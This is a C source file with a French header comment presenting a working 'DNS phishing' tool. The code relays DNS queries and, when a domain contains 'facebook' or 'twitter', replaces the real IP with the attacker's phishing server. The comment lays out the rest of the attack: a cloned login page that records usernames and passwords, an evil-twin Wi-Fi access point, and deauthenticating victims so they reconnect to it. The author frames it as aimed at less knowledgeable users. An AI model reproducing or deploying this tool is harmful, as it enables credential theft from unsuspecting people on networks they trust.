/*********************************************** Seveur DNS de phishing ***\***************************************************
--------------------
| |
*** @jules.mainsard@esial.net *** | |
| |
Connaissances Requises |
--> C (+) *
--> HTML (-)
--> PHP (-)
--> Reseau (+)
|
| Le DNS phishing, ou du moins celui dont il est question ici,
| est une technique qui permet de rediriger les utilisateurs
| a notre gre en fonction des noms de domaines qu'ils essaient
* de consulter. Cet operation de resolution des noms de domaine
est realise par un serveur DNS. Le code ci dessous est un
simple redirecteur de requete DNS avec affichage du contenu
sur la sortie standard. Ce code est toutefois capable de
rechercher des chaines de caractere dans les requetes (twitter
et facebook ici). Quand la recherche est fructueuse, le code
va modifier la reponse du veritable serveur DNS (apres
redirection) et y inserer une IP de notre choix a la place de
l'IP initialement resolu.
Puisque les utilisateurs seront des lors rediriger sur cette IP
Un serveur HTTP doit tourner sur celle ci, dans le cas de
facebook par exemple, ce serveur doit heberger un site identique
(en apparence) a celui de facebook. Pour cela il suffit de visiter
le site cible et d'enregistrer son code source. Il faut ensuite y
modifier le formulaire de login pour rediriger sa submission
vers un script PHP de notre choix dans lequel nous enregistrons
les variables $_POST['user'] et $_POST['pass'].
PS: Il est possible de faire tourner serveur DNS
et serveur HTTP sur la meme machine.
Une des conditions préalable à cette attaque est que
l'utilisateur cible utilise votre serveur DNS.
Pour cela il vous suffit par exemple de creer un reseau
Wifi du meme nom que celui qu'utilise la cible
(airebase-ng de la suite aircrack-ng le fait très bien),
et de le configurer correctement. En effet il va falloir
que les utilisateurs aient acces a internet correctement
sur ce reseau pour gober la supercherie ;) Il vous faut
donc une deuxieme carte reseau connecte a internet afin de
pouvoir rediriger le traffic recu par votre faux point
d'acces Wifi sur le net .Configuration de routage donc,
probablement aussi dhcp puisque l'attaque vise surtout un
public peu instruit.
Il ne vous reste plus qu'a deconnecte le client de son
point d'acces (aireplay-ng et son option --deauth par ex)
et il risque fortement de se reconnecter par erreur sur
le votre.
Il existe un module metasploit qui
remplit a peu pres la meme fonction
que ce programme, toutefois il va
rechercher des noms de domaines complet
et ne fonctionnera pas avec une partie
seulement comme ici (strstr)
Liens utiles pour realiser cette attaque [pour Backtrack 5]
--> http://teh-geek.com/?p=512 [ Realisation du faux point d'acces Wifi ]
--> http://www.exploit-db.com/docs/20875.pdf
[ Tuto similaire en anglais ]
--> http://www.aircrack-ng.org/doku.php?id=deauthentication [ Deauthentification client cible ]
Pour ceux qui ont vraiment du mal ...
--> http://www.siteduzero.com/tutoriel-3-13596-les-formulaires.html [ Formulaires HTML ]
--> http://www.siteduzero.com/tutoriel-3-14543-transmettre-des-donnees-avec-les-formulaires.html
[ Script PHP ]
--> http://www.commentcamarche.net/contents/internet/dns.php3 [ Protocole DNS ]
-------------------- Compilation gcc -o getdnsrequest getdnsrequest.c
**********************************//*******************************************************************************************
|
|
|
|
|
|
/****************************************************Addendum*****************************************************************/
/***Pour une raison que j'ignore le serveur a l'air de planter quand il recoit trop de requete
j'avais test le multithread pour résoudre ce problème mais rien n'y fait, petite astuce de bourrin:
*** Lancer dans un terminal *** for((i=0; i<200; i++)); do ./getdnsrequest; done ***
En modifiant le nombre d'occurences a votre gre bien entendu
*** Lancer dans un second terminal (vous devrez peut etre modifier cette commande en fonction de votre config)
*** for((i=0; i<200; i++)); do kill `ps -ef | grep getdnsrequest | head --lines=1 | cut -b10-15`; sleep 20s; done ***
Le fait de kill le serveur et de le relancer ensuite empeche les gros lag (reduit a 20sec max)
Ne fonctionne pas quand l'interruption est faites proprement, de l'interieur du programme***/
/***Si vous avez une solution plus elegante,
je pensais peut etre un flag de backlog dans bind ou socket,
Merci de me mail***/
/******************************************************************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>
#define error(msg) \
perror(msg); \
exit(EXIT_FAILURE)
//Type d'enregistrement DNS
#define A 0x1
#define CNAME 0x5
#define PTR 0xc
#define MX 0xf
#define NS 0x2
#define SOA 0x6
#define HINFO 0xd
#define AAAA 0x1c
//Prototypes
void mainbis(void);
char *get_ipp(char *bytes);
void print_domain(char *bits);
char *get_type(char *bytes);
char *fakeorbypass(char **tab, int lent, char *search);
void affbytes(char *bof, int leni, int mode);
void affchars(char *bof, int leni);
//Declarations
int mastersocket;
struct sockaddr_in addr;
struct hostent *fromhost, *tohost;
char *tabphish[20]={"facebook", "twitter"}; //chaines qui declenchent le phishing et resolvent ces sites sur votre ip
//vous devez evidemment avoir un serveur HTTP/HTTPS qui fait tourner les differents sites de phishing
int lentabphish=2; //ne pas oublier de modifier ce parametre en consequence
int decdomain=13;
int main(int argc, char **argv) {
int k, l;
pthread_t idt[5];
//Appel a socket //Configuration du premier socket [ Communication client <=> programme ]
if( (mastersocket=socket(PF_INET, SOCK_DGRAM, 0)) < 0 ) {
error("socket");
}
//Configuration de sockaddr pour l'appel a bind
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=htonl(INADDR_ANY);
addr.sin_port=htons(53);
//Appel a bind
if( (bind(mastersocket, (struct sockaddr *)&addr, sizeof(addr))) < 0 ) {
error("bind");
}
mainbis();
return 0;
}
void mainbis() {
int socketh= mastersocket;
int secondsocket;
int found=0, phish=1, len, cc, lendns;
char *buf, *curfish, *ptr;
char chainexec[50];
struct sockaddr_in *from, *to;
int lenbuf=5000;
struct sockaddr_in addrbis;
//Configuration du second socket [ communication programme <=> real dns serveur ]
if( (secondsocket=socket(PF_INET, SOCK_DGRAM, 0)) < 0 ) {
error("socket");
}
//Configuration de sockaddr pour l'appel a bind
addrbis.sin_family=AF_INET;
addrbis.sin_addr.s_addr=htonl(INADDR_ANY);
addrbis.sin_port=htons(7000);
//Appel a bind
if( (bind(secondsocket, (struct sockaddr *)&addrbis, sizeof(addrbis))) < 0 ) {
error("bind");
}
//Assignation, malloc
buf=(char *)malloc(lenbuf);
curfish=(char *)malloc(100);
len=sizeof(struct sockaddr_in);
lendns=sizeof(struct sockaddr_in);
to=(struct sockaddr_in *)malloc(len);
from=(struct sockaddr_in *)malloc(len);
//real dns serveur
long serveurdns=0x0101a8c0;
//Structure sockaddr du real DNS serveur vers lequel on redirige les requete
to->sin_family=AF_INET;
to->sin_addr.s_addr=serveurdns;
to->sin_port=htons(53);
//Let's go
while(1) {
//boolean phishing
found=0;
//site de phishing selectionne
curfish=NULL;
//Reception des requetes <=> premier socket
if((cc=recvfrom(socketh, buf, lenbuf, 0, (struct sockaddr *)from, &len))<0) {
error("recv");
}
buf[cc]='\0';
//Sortie utilisateur
ptr=buf+13;
printf("\n\n\033[1;36m-- New Request \033[1;32m[ %s ]\033[0m From \033[1;31m%s\033[0m"
"\033[1;36m on \033[0m\033[1;31m%d\033[0m\033[1;36m ... Domain =\033[0m\033[1;31m",
get_type(buf+cc-4), inet_ntoa(from->sin_addr.s_addr), from->sin_port);
print_domain(ptr);
printf("\033[0m\033[1;36m \n-- ***********************\033[0m\n");
printf("\n \033[1;33m -HEX\n ****\033[0m\n");
affbytes(buf, cc, 1);
printf("\n \033[1;33m -ASCII\n ******\033[0m\n");
affchars(buf, cc);
fflush(stdout);
//Recherche un domain de site de phishing dans la requete
curfish=fakeorbypass(tabphish, lentabphish, buf);
if( curfish!=NULL ) {
//Phishing is on
found=1;
printf("\033[1;33m\n PHISHING -- %s found--\033[0m\n", curfish);
fflush(stdout);
}
//Redirection des donnes vers le veritable serveur DNS <=> second socket
if(sendto(secondsocket, buf, cc, 0, (struct sockaddr *)to, sizeof(*to))<0) {
error("send");
}
//Reception de la reponse du veritable serveur DNS <=> second socket
if((cc=recvfrom(secondsocket, buf, lenbuf, 0, (struct sockaddr *)to, &lendns))<0) {
error("recv2");
}
buf[cc]='\0';
//Sortie utilisateurs
printf("\n\n\033[1;36m-- New Response => IP \033[1;32m%s\033[0m \033[1;36mon Port \033[0m"
"\033[1;31m%d\033[0m\033[1;36m\n-- *******************************\033[0m\n"
, get_ipp(buf+cc-4), to->sin_port);
printf("\n \033[1;33m -HEX\n ****\033[0m\n");
affbytes(buf, cc, 0);
printf("\n \033[1;33m -ASCII\n ******\033[0m\n");
affchars(buf, cc);
fflush(stdout);
//Modification de la reponse si le phishing is on
if(found) {
//On remplace l'IP renvoye par le serveur DNS (la "bonne" IP)
//Par l'IP de notre machine hebergent le(s) site de phishing
//Ici 127.0.0.1 en hexa pour mes tests en local
buf[cc-1]=0x1;
buf[cc-2]=0x0;
buf[cc-3]=0x0;
buf[cc-4]=0x7f;
//Sortie utilisateur
printf("\n\n\033[1;36m-- New PHISHING Response!\n-- ***********************\033[0m\n");
fflush(stdout);
printf("\n \033[1;33m -HEX\n ****\033[0m\n");
affbytes(buf, cc, 0);
printf("\n \033[1;33m -ASCII\n ******\033[0m\n");
affchars(buf, cc);
}
printf("\n\n");
if(sendto(socketh, buf, cc, 0, (struct sockaddr *)from, len)<0) {
error("send");
}
}
}
//Extrait l'IP (resolu par le serveur DNS) du packet de donnes renvoye par le veritable serveur DNS
char *get_ipp(char *bytes) {
char *ip;
ip=(char *)malloc(15*sizeof(char));
sprintf(ip, "%d.%d.%d.%d", (unsigned char)bytes[0], (unsigned char)bytes[1],
(unsigned char)bytes[2], (unsigned char)bytes[3]);
return ip;
}
//Ecrit le domaine stocke dans le paquet de donnes sur la sortie standard
void print_domain(char *bits) {
int l;
for(l=0; bits[l]!='\0'; l++) {
if(bits[l]>31 && bits[l]<127) {
printf("%c", bits[l]);
} else {
printf(".");
}
}
}
//Determine le type d'enregistrement DNS dont il est question
char *get_type(char *bytes) {
int type=(char)(*(bytes+1));
switch(type) {
case A :
return "A";
case MX :
return "MX";
case PTR :
return "PTR";
case NS :
return "NS";
case HINFO :
return "HINFO";
case CNAME :
return "CNAME";
case SOA :
return "SOA";
case AAAA:
return "AAAA";
default:
return "UNKNOWN";
}
}
//Recherche tab[i], i=0->lent, dans search
//Retourne tab[i] s'il est trouve sinon un NULL pointer
char *fakeorbypass(char *tab[], int lent, char *search) {
int i;
char *ret=NULL;
for(i=0; i<lent; i++) {
if(strstr(search+decdomain, tab[i])!=NULL) {
ret=tab[i];
}
}
return ret;
}
//Fonctions sortie utilisateurs, on ne peut utiliser directement printf("%s", buf)
//Car buf contient de nombreux NULL bytes
//Sortie hexadecimale
void affbytes(char *bof, int leni, int mode) {
int n;
char c;
for(n=0; n<leni; n++) {
if(n==leni-4) printf("\033[1;32m");
printf("\\x%x", (unsigned char)bof[n]);
if(n==leni-3 && mode) printf("\033[0m");
}
if(!mode) printf("\033[0m");
}
//Sortie ASCII
void affchars(char *bof, int leni) {
int n;
char c;
for(n=0; n<leni; n++) {
if(bof[n]>31 && bof[n]<127) {
printf("%c", bof[n]);
} else {
printf(".");
}
}
}